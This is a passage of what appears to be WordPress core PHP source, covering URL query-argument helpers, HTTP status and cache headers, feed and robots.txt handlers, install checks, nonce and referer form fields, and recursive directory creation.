1035 *
1036 * @see _http_build_query() Used to build the query
1037 * @link https://www.php.net/manual/en/function.http-build-query.php for more on what
1038 * http_build_query() does.
1039 *
1040 * @param array $data URL-encode key/value pairs.
1041 * @return string URL-encoded string.
1042 */
1043function build_query( $data ) {
1044 return _http_build_query( $data, null, '&', '', false );
1045}
1046
1047/**
1048 * From php.net (modified by Mark Jaquith to behave like the native PHP5 function).
1049 *
1050 * @since 3.2.0
1051 * @access private
1052 *
1053 * @see https://www.php.net/manual/en/function.http-build-query.php
1054 *
1055 * @param array|object $data An array or object of data. Converted to array.
1056 * @param string $prefix Optional. Numeric index. If set, start parameter numbering with it.
1057 * Default null.
1058 * @param string $sep Optional. Argument separator; defaults to 'arg_separator.output'.
1059 * Default null.
1060 * @param string $key Optional. Used to prefix key name. Default empty string.
1061 * @param bool $urlencode Optional. Whether to use urlencode() in the result. Default true.
1062 * @return string The query string.
1063 */
1064function _http_build_query( $data, $prefix = null, $sep = null, $key = '', $urlencode = true ) {
1065 $ret = array();
1066
1067 foreach ( (array) $data as $k => $v ) {
1068 if ( $urlencode ) {
1069 $k = urlencode( $k );
1070 }
1071
1072 if ( is_int( $k ) && null !== $prefix ) {
1073 $k = $prefix . $k;
1074 }
1075
1076 if ( ! empty( $key ) ) {
1077 $k = $key . '%5B' . $k . '%5D';
1078 }
1079
1080 if ( null === $v ) {
1081 continue;
1082 } elseif ( false === $v ) {
1083 $v = '0';
1084 }
1085
1086 if ( is_array( $v ) || is_object( $v ) ) {
1087 array_push( $ret, _http_build_query( $v, '', $sep, $k, $urlencode ) );
1088 } elseif ( $urlencode ) {
1089 array_push( $ret, $k . '=' . urlencode( $v ) );
1090 } else {
1091 array_push( $ret, $k . '=' . $v );
1092 }
1093 }
1094
1095 if ( null === $sep ) {
1096 $sep = ini_get( 'arg_separator.output' );
1097 }
1098
1099 return implode( $sep, $ret );
1100}
1101
1102/**
1103 * Retrieves a modified URL query string.
1104 *
1105 * You can rebuild the URL and append query variables to the URL query by using this function.
1106 * There are two ways to use this function; either a single key and value, or an associative array.
1107 *
1108 * Using a single key and value:
1109 *
1110 * add_query_arg( 'key', 'value', 'http://example.com' );
1111 *
1112 * Using an associative array:
1113 *
1114 * add_query_arg( array(
1115 * 'key1' => 'value1',
1116 * 'key2' => 'value2',
1117 * ), 'http://example.com' );
1118 *
1119 * Omitting the URL from either use results in the current URL being used
1120 * (the value of `$_SERVER['REQUEST_URI']`).
1121 *
1122 * Values are expected to be encoded appropriately with urlencode() or rawurlencode().
1123 *
1124 * Setting any query variable's value to boolean false removes the key (see remove_query_arg()).
1125 *
1126 * Important: The return value of add_query_arg() is not escaped by default. Output should be
1127 * late-escaped with esc_url() or similar to help prevent vulnerability to cross-site scripting
1128 * (XSS) attacks.
1129 *
1130 * @since 1.5.0
1131 * @since 5.3.0 Formalized the existing and already documented parameters
1132 * by adding `...$args` to the function signature.
1133 *
1134 * @param string|array $key Either a query variable key, or an associative array of query variables.
1135 * @param string $value Optional. Either a query variable value, or a URL to act upon.
1136 * @param string $url Optional. A URL to act upon.
1137 * @return string New URL query string (unescaped).
1138 */
1139function add_query_arg( ...$args ) {
1140 if ( is_array( $args[0] ) ) {
1141 if ( count( $args ) < 2 || false === $args[1] ) {
1142 $uri = $_SERVER['REQUEST_URI'];
1143 } else {
1144 $uri = $args[1];
1145 }
1146 } else {
1147 if ( count( $args ) < 3 || false === $args[2] ) {
1148 $uri = $_SERVER['REQUEST_URI'];
1149 } else {
1150 $uri = $args[2];
1151 }
1152 }
1153
1154 $frag = strstr( $uri, '#' );
1155 if ( $frag ) {
1156 $uri = substr( $uri, 0, -strlen( $frag ) );
1157 } else {
1158 $frag = '';
1159 }
1160
1161 if ( 0 === stripos( $uri, 'http://' ) ) {
1162 $protocol = 'http://';
1163 $uri = substr( $uri, 7 );
1164 } elseif ( 0 === stripos( $uri, 'https://' ) ) {
1165 $protocol = 'https://';
1166 $uri = substr( $uri, 8 );
1167 } else {
1168 $protocol = '';
1169 }
1170
1171 if ( str_contains( $uri, '?' ) ) {
1172 list( $base, $query ) = explode( '?', $uri, 2 );
1173 $base .= '?';
1174 } elseif ( $protocol || ! str_contains( $uri, '=' ) ) {
1175 $base = $uri . '?';
1176 $query = '';
1177 } else {
1178 $base = '';
1179 $query = $uri;
1180 }
1181
1182 wp_parse_str( $query, $qs );
1183 $qs = urlencode_deep( $qs ); // This re-URL-encodes things that were already in the query string.
1184 if ( is_array( $args[0] ) ) {
1185 foreach ( $args[0] as $k => $v ) {
1186 $qs[ $k ] = $v;
1187 }
1188 } else {
1189 $qs[ $args[0] ] = $args[1];
1190 }
1191
1192 foreach ( $qs as $k => $v ) {
1193 if ( false === $v ) {
1194 unset( $qs[ $k ] );
1195 }
1196 }
1197
1198 $ret = build_query( $qs );
1199 $ret = trim( $ret, '?' );
1200 $ret = preg_replace( '#=(&|$)#', '$1', $ret );
1201 $ret = $protocol . $base . $ret . $frag;
1202 $ret = rtrim( $ret, '?' );
1203 $ret = str_replace( '?#', '#', $ret );
1204 return $ret;
1205}
1206
1207/**
1208 * Removes an item or items from a query string.
1209 *
1210 * Important: The return value of remove_query_arg() is not escaped by default. Output should be
1211 * late-escaped with esc_url() or similar to help prevent vulnerability to cross-site scripting
1212 * (XSS) attacks.
1213 *
1214 * @since 1.5.0
1215 *
1216 * @param string|string[] $key Query key or keys to remove.
1217 * @param false|string $query Optional. When false uses the current URL. Default false.
1218 * @return string New URL query string.
1219 */
1220function remove_query_arg( $key, $query = false ) {
1221 if ( is_array( $key ) ) { // Removing multiple keys.
1222 foreach ( $key as $k ) {
1223 $query = add_query_arg( $k, false, $query );
1224 }
1225 return $query;
1226 }
1227 return add_query_arg( $key, false, $query );
1228}
1229
1230/**
1231 * Returns an array of single-use query variable names that can be removed from a URL.
1232 *
1233 * @since 4.4.0
1234 *
1235 * @return string[] An array of query variable names to remove from the URL.
1236 */
1237function wp_removable_query_args() {
1238 $removable_query_args = array(
1239 'activate',
1240 'activated',
1241 'admin_email_remind_later',
1242 'approved',
1243 'core-major-auto-updates-saved',
1244 'deactivate',
1245 'delete_count',
1246 'deleted',
1247 'disabled',
1248 'doing_wp_cron',
1249 'enabled',
1250 'error',
1251 'hotkeys_highlight_first',
1252 'hotkeys_highlight_last',
1253 'ids',
1254 'locked',
1255 'message',
1256 'same',
1257 'saved',
1258 'settings-updated',
1259 'skipped',
1260 'spammed',
1261 'trashed',
1262 'unspammed',
1263 'untrashed',
1264 'update',
1265 'updated',
1266 'wp-post-new-reload',
1267 );
1268
1269 /**
1270 * Filters the list of query variable names to remove.
1271 *
1272 * @since 4.2.0
1273 *
1274 * @param string[] $removable_query_args An array of query variable names to remove from a URL.
1275 */
1276 return apply_filters( 'removable_query_args', $removable_query_args );
1277}
1278
1279/**
1280 * Walks the array while sanitizing the contents.
1281 *
1282 * @since 0.71
1283 * @since 5.5.0 Non-string values are left untouched.
1284 *
1285 * @param array $input_array Array to walk while sanitizing contents.
1286 * @return array Sanitized $input_array.
1287 */
1288function add_magic_quotes( $input_array ) {
1289 foreach ( (array) $input_array as $k => $v ) {
1290 if ( is_array( $v ) ) {
1291 $input_array[ $k ] = add_magic_quotes( $v );
1292 } elseif ( is_string( $v ) ) {
1293 $input_array[ $k ] = addslashes( $v );
1294 }
1295 }
1296
1297 return $input_array;
1298}
1299
1300/**
1301 * HTTP request for URI to retrieve content.
1302 *
1303 * @since 1.5.1
1304 *
1305 * @see wp_safe_remote_get()
1306 *
1307 * @param string $uri URI/URL of web page to retrieve.
1308 * @return string|false HTTP content. False on failure.
1309 */
1310function wp_remote_fopen( $uri ) {
1311 $parsed_url = parse_url( $uri );
1312
1313 if ( ! $parsed_url || ! is_array( $parsed_url ) ) {
1314 return false;
1315 }
1316
1317 $options = array();
1318 $options['timeout'] = 10;
1319
1320 $response = wp_safe_remote_get( $uri, $options );
1321
1322 if ( is_wp_error( $response ) ) {
1323 return false;
1324 }
1325
1326 return wp_remote_retrieve_body( $response );
1327}
1328
1329/**
1330 * Sets up the WordPress query.
1331 *
1332 * @since 2.0.0
1333 *
1334 * @global WP $wp Current WordPress environment instance.
1335 * @global WP_Query $wp_query WordPress Query object.
1336 * @global WP_Query $wp_the_query Copy of the WordPress Query object.
1337 *
1338 * @param string|array $query_vars Default WP_Query arguments.
1339 */
1340function wp( $query_vars = '' ) {
1341 global $wp, $wp_query, $wp_the_query;
1342
1343 $wp->main( $query_vars );
1344
1345 if ( ! isset( $wp_the_query ) ) {
1346 $wp_the_query = $wp_query;
1347 }
1348}
1349
1350/**
1351 * Retrieves the description for the HTTP status.
1352 *
1353 * @since 2.3.0
1354 * @since 3.9.0 Added status codes 418, 428, 429, 431, and 511.
1355 * @since 4.5.0 Added status codes 308, 421, and 451.
1356 * @since 5.1.0 Added status code 103.
1357 * @since 6.6.0 Added status code 425.
1358 *
1359 * @global array $wp_header_to_desc
1360 *
1361 * @param int $code HTTP status code.
1362 * @return string Status description if found, an empty string otherwise.
1363 */
1364function get_status_header_desc( $code ) {
1365 global $wp_header_to_desc;
1366
1367 $code = absint( $code );
1368
1369 if ( ! isset( $wp_header_to_desc ) ) {
1370 $wp_header_to_desc = array(
1371 100 => 'Continue',
1372 101 => 'Switching Protocols',
1373 102 => 'Processing',
1374 103 => 'Early Hints',
1375
1376 200 => 'OK',
1377 201 => 'Created',
1378 202 => 'Accepted',
1379 203 => 'Non-Authoritative Information',
1380 204 => 'No Content',
1381 205 => 'Reset Content',
1382 206 => 'Partial Content',
1383 207 => 'Multi-Status',
1384 226 => 'IM Used',
1385
1386 300 => 'Multiple Choices',
1387 301 => 'Moved Permanently',
1388 302 => 'Found',
1389 303 => 'See Other',
1390 304 => 'Not Modified',
1391 305 => 'Use Proxy',
1392 306 => 'Reserved',
1393 307 => 'Temporary Redirect',
1394 308 => 'Permanent Redirect',
1395
1396 400 => 'Bad Request',
1397 401 => 'Unauthorized',
1398 402 => 'Payment Required',
1399 403 => 'Forbidden',
1400 404 => 'Not Found',
1401 405 => 'Method Not Allowed',
1402 406 => 'Not Acceptable',
1403 407 => 'Proxy Authentication Required',
1404 408 => 'Request Timeout',
1405 409 => 'Conflict',
1406 410 => 'Gone',
1407 411 => 'Length Required',
1408 412 => 'Precondition Failed',
1409 413 => 'Request Entity Too Large',
1410 414 => 'Request-URI Too Long',
1411 415 => 'Unsupported Media Type',
1412 416 => 'Requested Range Not Satisfiable',
1413 417 => 'Expectation Failed',
1414 418 => 'I\'m a teapot',
1415 421 => 'Misdirected Request',
1416 422 => 'Unprocessable Entity',
1417 423 => 'Locked',
1418 424 => 'Failed Dependency',
1419 425 => 'Too Early',
1420 426 => 'Upgrade Required',
1421 428 => 'Precondition Required',
1422 429 => 'Too Many Requests',
1423 431 => 'Request Header Fields Too Large',
1424 451 => 'Unavailable For Legal Reasons',
1425
1426 500 => 'Internal Server Error',
1427 501 => 'Not Implemented',
1428 502 => 'Bad Gateway',
1429 503 => 'Service Unavailable',
1430 504 => 'Gateway Timeout',
1431 505 => 'HTTP Version Not Supported',
1432 506 => 'Variant Also Negotiates',
1433 507 => 'Insufficient Storage',
1434 510 => 'Not Extended',
1435 511 => 'Network Authentication Required',
1436 );
1437 }
1438
1439 if ( isset( $wp_header_to_desc[ $code ] ) ) {
1440 return $wp_header_to_desc[ $code ];
1441 } else {
1442 return '';
1443 }
1444}
1445
1446/**
1447 * Sets HTTP status header.
1448 *
1449 * @since 2.0.0
1450 * @since 4.4.0 Added the `$description` parameter.
1451 *
1452 * @see get_status_header_desc()
1453 *
1454 * @param int $code HTTP status code.
1455 * @param string $description Optional. A custom description for the HTTP status.
1456 * Defaults to the result of get_status_header_desc() for the given code.
1457 */
1458function status_header( $code, $description = '' ) {
1459 if ( ! $description ) {
1460 $description = get_status_header_desc( $code );
1461 }
1462
1463 if ( empty( $description ) ) {
1464 return;
1465 }
1466
1467 $protocol = wp_get_server_protocol();
1468 $status_header = "$protocol $code $description";
1469 if ( function_exists( 'apply_filters' ) ) {
1470
1471 /**
1472 * Filters an HTTP status header.
1473 *
1474 * @since 2.2.0
1475 *
1476 * @param string $status_header HTTP status header.
1477 * @param int $code HTTP status code.
1478 * @param string $description Description for the status code.
1479 * @param string $protocol Server protocol.
1480 */
1481 $status_header = apply_filters( 'status_header', $status_header, $code, $description, $protocol );
1482 }
1483
1484 if ( ! headers_sent() ) {
1485 header( $status_header, true, $code );
1486 }
1487}
1488
1489/**
1490 * Gets the HTTP header information to prevent caching.
1491 *
1492 * The several different headers cover the different ways cache prevention
1493 * is handled by different browsers or intermediate caches such as proxy servers.
1494 *
1495 * @since 2.8.0
1496 * @since 6.3.0 The `Cache-Control` header for logged in users now includes the
1497 * `no-store` and `private` directives.
1498 * @since 6.8.0 The `Cache-Control` header now includes the `no-store` and `private`
1499 * directives regardless of whether a user is logged in.
1500 *
1501 * @return array The associative array of header names and field values.
1502 */
1503function wp_get_nocache_headers() {
1504 $cache_control = 'no-cache, must-revalidate, max-age=0, no-store, private';
1505
1506 $headers = array(
1507 'Expires' => 'Wed, 11 Jan 1984 05:00:00 GMT',
1508 'Cache-Control' => $cache_control,
1509 );
1510
1511 if ( function_exists( 'apply_filters' ) ) {
1512 /**
1513 * Filters the cache-controlling HTTP headers that are used to prevent caching.
1514 *
1515 * @since 2.8.0
1516 *
1517 * @see wp_get_nocache_headers()
1518 *
1519 * @param array $headers Header names and field values.
1520 */
1521 $headers = (array) apply_filters( 'nocache_headers', $headers );
1522 }
1523 $headers['Last-Modified'] = false;
1524 return $headers;
1525}
1526
1527/**
1528 * Sets the HTTP headers to prevent caching for the different browsers.
1529 *
1530 * Different browsers support different nocache headers, so several
1531 * headers must be sent so that all of them get the point that no
1532 * caching should occur.
1533 *
1534 * @since 2.0.0
1535 *
1536 * @see wp_get_nocache_headers()
1537 */
1538function nocache_headers() {
1539 if ( headers_sent() ) {
1540 return;
1541 }
1542
1543 $headers = wp_get_nocache_headers();
1544
1545 unset( $headers['Last-Modified'] );
1546
1547 header_remove( 'Last-Modified' );
1548
1549 foreach ( $headers as $name => $field_value ) {
1550 header( "{$name}: {$field_value}" );
1551 }
1552}
1553
1554/**
1555 * Sets the HTTP headers for caching for 10 days with JavaScript content type.
1556 *
1557 * @since 2.1.0
1558 */
1559function cache_javascript_headers() {
1560 $expires_offset = 10 * DAY_IN_SECONDS;
1561
1562 header( 'Content-Type: text/javascript; charset=' . get_bloginfo( 'charset' ) );
1563 header( 'Vary: Accept-Encoding' ); // Handle proxies.
1564 header( 'Expires: ' . gmdate( 'D, d M Y H:i:s', time() + $expires_offset ) . ' GMT' );
1565}
1566
1567/**
1568 * Retrieves the number of database queries during the WordPress execution.
1569 *
1570 * @since 2.0.0
1571 *
1572 * @global wpdb $wpdb WordPress database abstraction object.
1573 *
1574 * @return int Number of database queries.
1575 */
1576function get_num_queries() {
1577 global $wpdb;
1578 return $wpdb->num_queries;
1579}
1580
1581/**
1582 * Determines whether input is yes or no.
1583 *
1584 * Must be 'y' to be true.
1585 *
1586 * @since 1.0.0
1587 *
1588 * @param string $yn Character string containing either 'y' (yes) or 'n' (no).
1589 * @return bool True if 'y', false on anything else.
1590 */
1591function bool_from_yn( $yn ) {
1592 return ( 'y' === strtolower( $yn ) );
1593}
1594
1595/**
1596 * Loads the feed template from the use of an action hook.
1597 *
1598 * If the feed action does not have a hook, then the function will die with a
1599 * message telling the visitor that the feed is not valid.
1600 *
1601 * It is better to only have one hook for each feed.
1602 *
1603 * @since 2.1.0
1604 *
1605 * @global WP_Query $wp_query WordPress Query object.
1606 */
1607function do_feed() {
1608 global $wp_query;
1609
1610 $feed = get_query_var( 'feed' );
1611
1612 // Remove the pad, if present.
1613 $feed = preg_replace( '/^_+/', '', $feed );
1614
1615 if ( '' === $feed || 'feed' === $feed ) {
1616 $feed = get_default_feed();
1617 }
1618
1619 if ( ! has_action( "do_feed_{$feed}" ) ) {
1620 wp_die( __( '<strong>Error:</strong> This is not a valid feed template.' ), '', array( 'response' => 404 ) );
1621 }
1622
1623 /**
1624 * Fires once the given feed is loaded.
1625 *
1626 * The dynamic portion of the hook name, `$feed`, refers to the feed template name.
1627 *
1628 * Possible hook names include:
1629 *
1630 * - `do_feed_atom`
1631 * - `do_feed_rdf`
1632 * - `do_feed_rss`
1633 * - `do_feed_rss2`
1634 *
1635 * @since 2.1.0
1636 * @since 4.4.0 The `$feed` parameter was added.
1637 *
1638 * @param bool $is_comment_feed Whether the feed is a comment feed.
1639 * @param string $feed The feed name.
1640 */
1641 do_action( "do_feed_{$feed}", $wp_query->is_comment_feed, $feed );
1642}
1643
1644/**
1645 * Loads the RDF RSS 0.91 Feed template.
1646 *
1647 * @since 2.1.0
1648 *
1649 * @see load_template()
1650 */
1651function do_feed_rdf() {
1652 load_template( ABSPATH . WPINC . '/feed-rdf.php' );
1653}
1654
1655/**
1656 * Loads the RSS 1.0 Feed Template.
1657 *
1658 * @since 2.1.0
1659 *
1660 * @see load_template()
1661 */
1662function do_feed_rss() {
1663 load_template( ABSPATH . WPINC . '/feed-rss.php' );
1664}
1665
1666/**
1667 * Loads either the RSS2 comment feed or the RSS2 posts feed.
1668 *
1669 * @since 2.1.0
1670 *
1671 * @see load_template()
1672 *
1673 * @param bool $for_comments True for the comment feed, false for normal feed.
1674 */
1675function do_feed_rss2( $for_comments ) {
1676 if ( $for_comments ) {
1677 load_template( ABSPATH . WPINC . '/feed-rss2-comments.php' );
1678 } else {
1679 load_template( ABSPATH . WPINC . '/feed-rss2.php' );
1680 }
1681}
1682
1683/**
1684 * Loads either Atom comment feed or Atom posts feed.
1685 *
1686 * @since 2.1.0
1687 *
1688 * @see load_template()
1689 *
1690 * @param bool $for_comments True for the comment feed, false for normal feed.
1691 */
1692function do_feed_atom( $for_comments ) {
1693 if ( $for_comments ) {
1694 load_template( ABSPATH . WPINC . '/feed-atom-comments.php' );
1695 } else {
1696 load_template( ABSPATH . WPINC . '/feed-atom.php' );
1697 }
1698}
1699
1700/**
1701 * Displays the default robots.txt file content.
1702 *
1703 * @since 2.1.0
1704 * @since 5.3.0 Remove the "Disallow: /" output if search engine visibility is
1705 * discouraged in favor of robots meta HTML tag via wp_robots_no_robots()
1706 * filter callback.
1707 */
1708function do_robots() {
1709 header( 'Content-Type: text/plain; charset=utf-8' );
1710
1711 /**
1712 * Fires when displaying the robots.txt file.
1713 *
1714 * @since 2.1.0
1715 */
1716 do_action( 'do_robotstxt' );
1717
1718 $output = "User-agent: *\n";
1719 $public = (bool) get_option( 'blog_public' );
1720
1721 $site_url = parse_url( site_url() );
1722 $path = ( ! empty( $site_url['path'] ) ) ? $site_url['path'] : '';
1723 $output .= "Disallow: $path/wp-admin/\n";
1724 $output .= "Allow: $path/wp-admin/admin-ajax.php\n";
1725
1726 /**
1727 * Filters the robots.txt output.
1728 *
1729 * @since 3.0.0
1730 *
1731 * @param string $output The robots.txt output.
1732 * @param bool $public Whether the site is considered "public".
1733 */
1734 echo apply_filters( 'robots_txt', $output, $public );
1735}
1736
1737/**
1738 * Displays the favicon.ico file content.
1739 *
1740 * @since 5.4.0
1741 */
1742function do_favicon() {
1743 /**
1744 * Fires when serving the favicon.ico file.
1745 *
1746 * @since 5.4.0
1747 */
1748 do_action( 'do_faviconico' );
1749
1750 wp_redirect( get_site_icon_url( 32, includes_url( 'images/w-logo-blue-white-bg.png' ) ) );
1751 exit;
1752}
1753
1754/**
1755 * Determines whether WordPress is already installed.
1756 *
1757 * The cache will be checked first. If you have a cache plugin, which saves
1758 * the cache values, then this will work. If you use the default WordPress
1759 * cache, and the database goes away, then you might have problems.
1760 *
1761 * Checks for the 'siteurl' option for whether WordPress is installed.
1762 *
1763 * For more information on this and similar theme functions, check out
1764 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
1765 * Conditional Tags} article in the Theme Developer Handbook.
1766 *
1767 * @since 2.1.0
1768 *
1769 * @global wpdb $wpdb WordPress database abstraction object.
1770 *
1771 * @return bool Whether the site is already installed.
1772 */
1773function is_blog_installed() {
1774 global $wpdb;
1775
1776 /*
1777 * Check cache first. If options table goes away and we have true
1778 * cached, oh well.
1779 */
1780 if ( wp_cache_get( 'is_blog_installed' ) ) {
1781 return true;
1782 }
1783
1784 $suppress = $wpdb->suppress_errors();
1785
1786 if ( ! wp_installing() ) {
1787 $alloptions = wp_load_alloptions();
1788 }
1789
1790 // If siteurl is not set to autoload, check it specifically.
1791 if ( ! isset( $alloptions['siteurl'] ) ) {
1792 $installed = $wpdb->get_var( "SELECT option_value FROM $wpdb->options WHERE option_name = 'siteurl'" );
1793 } else {
1794 $installed = $alloptions['siteurl'];
1795 }
1796
1797 $wpdb->suppress_errors( $suppress );
1798
1799 $installed = ! empty( $installed );
1800 wp_cache_set( 'is_blog_installed', $installed );
1801
1802 if ( $installed ) {
1803 return true;
1804 }
1805
1806 // If visiting repair.php, return true and let it take over.
1807 if ( defined( 'WP_REPAIRING' ) ) {
1808 return true;
1809 }
1810
1811 $suppress = $wpdb->suppress_errors();
1812
1813 /*
1814 * Loop over the WP tables. If none exist, then scratch installation is allowed.
1815 * If one or more exist, suggest table repair since we got here because the
1816 * options table could not be accessed.
1817 */
1818 $wp_tables = $wpdb->tables();
1819 foreach ( $wp_tables as $table ) {
1820 // The existence of custom user tables shouldn't suggest an unwise state or prevent a clean installation.
1821 if ( defined( 'CUSTOM_USER_TABLE' ) && CUSTOM_USER_TABLE === $table ) {
1822 continue;
1823 }
1824
1825 if ( defined( 'CUSTOM_USER_META_TABLE' ) && CUSTOM_USER_META_TABLE === $table ) {
1826 continue;
1827 }
1828
1829 $described_table = $wpdb->get_results( "DESCRIBE $table;" );
1830 if (
1831 ( ! $described_table && empty( $wpdb->last_error ) ) ||
1832 ( is_array( $described_table ) && 0 === count( $described_table ) )
1833 ) {
1834 continue;
1835 }
1836
1837 // One or more tables exist. This is not good.
1838
1839 wp_load_translations_early();
1840
1841 // Die with a DB error.
1842 $wpdb->error = sprintf(
1843 /* translators: %s: Database repair URL. */
1844 __( 'One or more database tables are unavailable. The database may need to be <a href="%s">repaired</a>.' ),
1845 'maint/repair.php?referrer=is_blog_installed'
1846 );
1847
1848 dead_db();
1849 }
1850
1851 $wpdb->suppress_errors( $suppress );
1852
1853 wp_cache_set( 'is_blog_installed', false );
1854
1855 return false;
1856}
1857
1858/**
1859 * Retrieves URL with nonce added to URL query.
1860 *
1861 * @since 2.0.4
1862 *
1863 * @param string $actionurl URL to add nonce action.
1864 * @param int|string $action Optional. Nonce action name. Default -1.
1865 * @param string $name Optional. Nonce name. Default '_wpnonce'.
1866 * @return string Escaped URL with nonce action added.
1867 */
1868function wp_nonce_url( $actionurl, $action = -1, $name = '_wpnonce' ) {
1869 $actionurl = str_replace( '&', '&', $actionurl );
1870 return esc_html( add_query_arg( $name, wp_create_nonce( $action ), $actionurl ) );
1871}
1872
1873/**
1874 * Retrieves or display nonce hidden field for forms.
1875 *
1876 * The nonce field is used to validate that the contents of the form came from
1877 * the location on the current site and not somewhere else. The nonce does not
1878 * offer absolute protection, but should protect against most cases. It is very
1879 * important to use nonce field in forms.
1880 *
1881 * The $action and $name are optional, but if you want to have better security,
1882 * it is strongly suggested to set those two parameters. It is easier to just
1883 * call the function without any parameters, because validation of the nonce
1884 * doesn't require any parameters, but since crackers know what the default is
1885 * it won't be difficult for them to find a way around your nonce and cause
1886 * damage.
1887 *
1888 * The input name will be whatever $name value you gave. The input value will be
1889 * the nonce creation value.
1890 *
1891 * @since 2.0.4
1892 *
1893 * @param int|string $action Optional. Action name. Default -1.
1894 * @param string $name Optional. Nonce name. Default '_wpnonce'.
1895 * @param bool $referer Optional. Whether to set the referer field for validation. Default true.
1896 * @param bool $display Optional. Whether to display or return hidden form field. Default true.
1897 * @return string Nonce field HTML markup.
1898 */
1899function wp_nonce_field( $action = -1, $name = '_wpnonce', $referer = true, $display = true ) {
1900 $name = esc_attr( $name );
1901 $nonce_field = '<input type="hidden" id="' . $name . '" name="' . $name . '" value="' . wp_create_nonce( $action ) . '" />';
1902
1903 if ( $referer ) {
1904 $nonce_field .= wp_referer_field( false );
1905 }
1906
1907 if ( $display ) {
1908 echo $nonce_field;
1909 }
1910
1911 return $nonce_field;
1912}
1913
1914/**
1915 * Retrieves or displays referer hidden field for forms.
1916 *
1917 * The referer link is the current Request URI from the server super global. The
1918 * input name is '_wp_http_referer', in case you wanted to check manually.
1919 *
1920 * @since 2.0.4
1921 *
1922 * @param bool $display Optional. Whether to echo or return the referer field. Default true.
1923 * @return string Referer field HTML markup.
1924 */
1925function wp_referer_field( $display = true ) {
1926 $request_url = remove_query_arg( '_wp_http_referer' );
1927 $referer_field = '<input type="hidden" name="_wp_http_referer" value="' . esc_url( $request_url ) . '" />';
1928
1929 if ( $display ) {
1930 echo $referer_field;
1931 }
1932
1933 return $referer_field;
1934}
1935
1936/**
1937 * Retrieves or displays original referer hidden field for forms.
1938 *
1939 * The input name is '_wp_original_http_referer' and will be either the same
1940 * value of wp_referer_field(), if that was posted already or it will be the
1941 * current page, if it doesn't exist.
1942 *
1943 * @since 2.0.4
1944 *
1945 * @param bool $display Optional. Whether to echo the original http referer. Default true.
1946 * @param string $jump_back_to Optional. Can be 'previous' or page you want to jump back to.
1947 * Default 'current'.
1948 * @return string Original referer field.
1949 */
1950function wp_original_referer_field( $display = true, $jump_back_to = 'current' ) {
1951 $ref = wp_get_original_referer();
1952
1953 if ( ! $ref ) {
1954 $ref = ( 'previous' === $jump_back_to ) ? wp_get_referer() : wp_unslash( $_SERVER['REQUEST_URI'] );
1955 }
1956
1957 $orig_referer_field = '<input type="hidden" name="_wp_original_http_referer" value="' . esc_attr( $ref ) . '" />';
1958
1959 if ( $display ) {
1960 echo $orig_referer_field;
1961 }
1962
1963 return $orig_referer_field;
1964}
1965
1966/**
1967 * Retrieves referer from '_wp_http_referer' or HTTP referer.
1968 *
1969 * If it's the same as the current request URL, will return false.
1970 *
1971 * @since 2.0.4
1972 *
1973 * @return string|false Referer URL on success, false on failure.
1974 */
1975function wp_get_referer() {
1976 // Return early if called before wp_validate_redirect() is defined.
1977 if ( ! function_exists( 'wp_validate_redirect' ) ) {
1978 return false;
1979 }
1980
1981 $ref = wp_get_raw_referer();
1982
1983 if ( $ref && wp_unslash( $_SERVER['REQUEST_URI'] ) !== $ref
1984 && home_url() . wp_unslash( $_SERVER['REQUEST_URI'] ) !== $ref
1985 ) {
1986 return wp_validate_redirect( $ref, false );
1987 }
1988
1989 return false;
1990}
1991
1992/**
1993 * Retrieves unvalidated referer from the '_wp_http_referer' URL query variable or the HTTP referer.
1994 *
1995 * If the value of the '_wp_http_referer' URL query variable is not a string then it will be ignored.
1996 *
1997 * Do not use for redirects, use wp_get_referer() instead.
1998 *
1999 * @since 4.5.0
2000 *
2001 * @return string|false Referer URL on success, false on failure.
2002 */
2003function wp_get_raw_referer() {
2004 if ( ! empty( $_REQUEST['_wp_http_referer'] ) && is_string( $_REQUEST['_wp_http_referer'] ) ) {
2005 return wp_unslash( $_REQUEST['_wp_http_referer'] );
2006 } elseif ( ! empty( $_SERVER['HTTP_REFERER'] ) ) {
2007 return wp_unslash( $_SERVER['HTTP_REFERER'] );
2008 }
2009
2010 return false;
2011}
2012
2013/**
2014 * Retrieves original referer that was posted, if it exists.
2015 *
2016 * @since 2.0.4
2017 *
2018 * @return string|false Original referer URL on success, false on failure.
2019 */
2020function wp_get_original_referer() {
2021 // Return early if called before wp_validate_redirect() is defined.
2022 if ( ! function_exists( 'wp_validate_redirect' ) ) {
2023 return false;
2024 }
2025
2026 if ( ! empty( $_REQUEST['_wp_original_http_referer'] ) ) {
2027 return wp_validate_redirect( wp_unslash( $_REQUEST['_wp_original_http_referer'] ), false );
2028 }
2029
2030 return false;
2031}
2032
2033/**
2034 * Recursive directory creation based on full path.
2035 *
2036 * Will attempt to set permissions on folders.
2037 *
2038 * @since 2.0.1
2039 *
2040 * @param string $target Full path to attempt to create.
2041 * @return bool Whether the path was created. True if path already exists.
2042 */
2043function wp_mkdir_p( $target ) {
2044 $wrapper = null;
2045
2046 // Strip the protocol.
2047 if ( wp_is_stream( $target ) ) {
2048 list( $wrapper, $target ) = explode( '://', $target, 2 );
2049 }
2050
2051 // From php.net/mkdir user contributed notes.
2052 $target = str_replace( '//', '/', $target );
2053
2054 // Put the wrapper back on the target.
2055 if ( null !== $wrapper ) {
2056 $target = $wrapper . '://' . $target;
2057 }
2058
2059 /*
2060 * Safe mode fails with a trailing slash under certain PHP versions.
2061 * Use rtrim() instead of untrailingslashit to avoid formatting.php dependency.
2062 */
2063 $target = rtrim( $target, '/' );
2064 if ( empty( $target ) ) {
2065 $target = '/';
2066 }
2067
2068 if ( file_exists( $target ) ) {
2069 return @is_dir( $target );
2070 }
2071
2072 // Do not allow path traversals.
2073 if ( str_contains( $target, '../' ) || str_contains( $target, '..' . DIRECTORY_SEPARATOR ) ) {
2074 return false;
2075 }
2076
2077 // We need to find the permissions of the parent folder that exists and inherit that.
2078 $target_parent = dirname( $target );
2079 while ( '.' !== $target_parent && ! is_dir( $target_parent ) && dirname( $target_parent ) !== $target_parent ) {
2080 $target_parent = dirname( $target_parent );
2081 }
2082
2083 // Get the permission bits.
2084 $stat = @stat( $target_parent );
2085 if ( $stat ) {
2086 $dir_perms = $stat['mode'] & 0007777;
2087 } else {
2088 $dir_perms = 0777;
2089 }
2090
2091 if ( @mkdir( $target, $dir_perms, true ) ) {
2092
2093 /*
2094 * If a umask is set that modifies $dir_perms, we'll have to re-set
2095 * the $dir_perms correctly with chmod()
2096 */
2097 if ( ( $dir_perms & ~umask() ) !== $dir_perms ) {
2098 $folder_parts = explode( '/', substr( $target, strlen( $target_parent ) + 1 ) );
